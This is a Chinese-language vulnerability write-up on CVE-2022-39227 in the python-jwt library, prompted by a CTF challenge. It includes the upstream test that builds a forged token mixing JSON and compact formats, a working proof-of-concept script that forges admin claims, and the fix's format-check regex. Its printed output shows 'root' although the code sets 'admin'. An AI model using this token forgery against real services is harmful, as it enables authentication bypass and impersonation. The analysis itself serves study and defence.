CVE-2022-39227漏洞分析

前两天打祥云杯初赛的时候有一道很有意思的web题,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,所以就来自己分析一下这个漏洞

0x00 起因

前两天打祥云杯初赛的时候有一道很有意思的web题,FunWEB,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,但是有关于源码的修改内容,我们直接跟入github中的相关commit

0x01 分析

先跳过对漏洞的修补部分,直接看最下面,在test中新增加了一个对这个CVE的测试内容,我们来看一下

  1. #test/vulnerability_vows.py
  2. """ Test claim forgery vulnerability fix """
  3. from datetime import timedelta
  4. from json import loads, dumps
  5. from test.common import generated_keys
  6. from test import python_jwt as jwt
  7. from pyvows import Vows, expect
  8. from jwcrypto.common import base64url_decode, base64url_encode
  9. @Vows.batch
  10. class ForgedClaims(Vows.Context):
  11. """ Check we get an error when payload is forged using mix of compact and JSON formats """
  12. def topic(self):
  13. """ Generate token """
  14. payload = {'sub': 'alice'}
  15. return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
  16. class PolyglotToken(Vows.Context):
  17. """ Make a forged token """
  18. def topic(self, topic):
  19. """ Use mix of JSON and compact format to insert forged claims including long expiration """
  20. [header, payload, signature] = topic.split('.')
  21. parsed_payload = loads(base64url_decode(payload))
  22. parsed_payload['sub'] = 'bob'
  23. parsed_payload['exp'] = 2000000000
  24. fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
  25. return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}'
  26. class Verify(Vows.Context):
  27. """ Check the forged token fails to verify """
  28. @Vows.capture_error
  29. def topic(self, topic):
  30. """ Verify the forged token """
  31. return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
  32. def token_should_not_verify(self, r):
  33. """ Check the token doesn't verify due to mixed format being detected """
  34. expect(r).to_be_an_error()
  35. expect(str(r)).to_equal('invalid JWT format')

其实别的我们可以直接忽略,直接看PolyglotToken部分,里面就是fakeJWT的构造代码,可以看到其中先将原始的JWT拆分为[header, payload, signature]三部分,然后将payload也就是原始存储信息的部分取了出来,然后添加伪造内容后重新进行base64编码(separators=(',', ':')这部分相当于移除了直接编码时会添加的空格)生成了fakepayload,并且最终按如下形式构造生成新的JWT(其实此时已经不能说是JWT了,因为生成的字符串已经完全没有JWT的影子在了)

{“ header.fake_payload.”:””,”protected”:”header“, “payload”:”payload“,”signature”:”signature“}

其实相比较这个我更好奇的是为什么会有这样的漏洞,我们先用含有漏洞的包尝试生成一个JWT并使用fakepayload解析

  1. #testFakeJWT.py
  2. from json import *
  3. from python_jwt import *
  4. from jwcrypto import jwk
  5. payload={'username':"jlan","secret":"10010"}
  6. key=jwk.JWK.generate(kty='RSA', size=2048)
  7. jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60))
  8. [header, payload, signature] = jwtjson.split('.')
  9. parsed_payload = loads(base64url_decode(payload))
  10. print(parsed_payload)
  11. parsed_payload['username']="admin"
  12. parsed_payload['secret']="10086"
  13. fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
  14. fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
  15. print(verify_jwt(fakejwt, key, ['PS256']))
  16. #{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'}
  17. #({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'})
  18. #进程已结束,退出代码0
  19. #可以看到我们的结果确实被解析了

可以看到我们的结果确实被解析了,那么我们使用fakeJWT跟入看看verify过程到底做了什么

0x02 验证

可以看到首先把JWT按照.来分割,并分别存入header, claims, _变量中,然后对header部分进行base64解码,此处解码会忽略掉非base64字符,并且对属性进行逐个验证(在ignore_not_implemented参数为空或False的前提下)

再向下看到if pub_key:部分,如果我们传入了密钥就会对JWT签名进行解析,我们直接跟入token.deserialize(jwt, pub_key)来看验证过程

可以看到首先对原始传入的JWT尝试进行json解析,然后再对其进行签名验证,其中_deserialize_signature将签名解析后取出,_deserialize_b64验证内容需不需要再进行base64解码

总之在这个函数前面部分的内容就是将json格式的数据进行解码,并将JWT所需要的对应属性赋给o这个对象,在我们构造的json中,o的所有属性都是来自原始正常JWT的,在完成解析后,self.objects将会被赋值为o,最后进入verify函数

可以看到在验证时所使用的所有数据都来自于原始的正常JWT,所以验证必定通过,那么下一步我们就来看解析的部分

0x03 解析

其实没什么可说的,因为解析只有一句代码

  1. #header, claims, _ = jwt.split('.')
  2. parsed_claims = json_decode(base64url_decode(claims))

上文可见我们传入的json先以字符串的格式按点分割,第二部分为我们的fakepayload部分,我们只需要把原始payload取出进行修改即可

0x04 总结

明显我们能看出这个漏洞的产生是因为解析payload内容和验证签名的payload内容不一致造成的,而在后续的修复部分中,也针对JWT的内容进行了正则匹配,来防止json格式的注入

  1. _jwt_re = re.compile(r'^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*$')
  2. def _check_jwt_format(jwt):
  3. if not _jwt_re.match(jwt):
  4. raise _JWTError('invalid JWT format')

引用内容:https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

  • 发表于 2022-11-11 09:00:01
  • 阅读 ( 8442 )
  • 分类:漏洞分析

0 条评论

BenBenben
BenBenben

1 篇文章

站长统计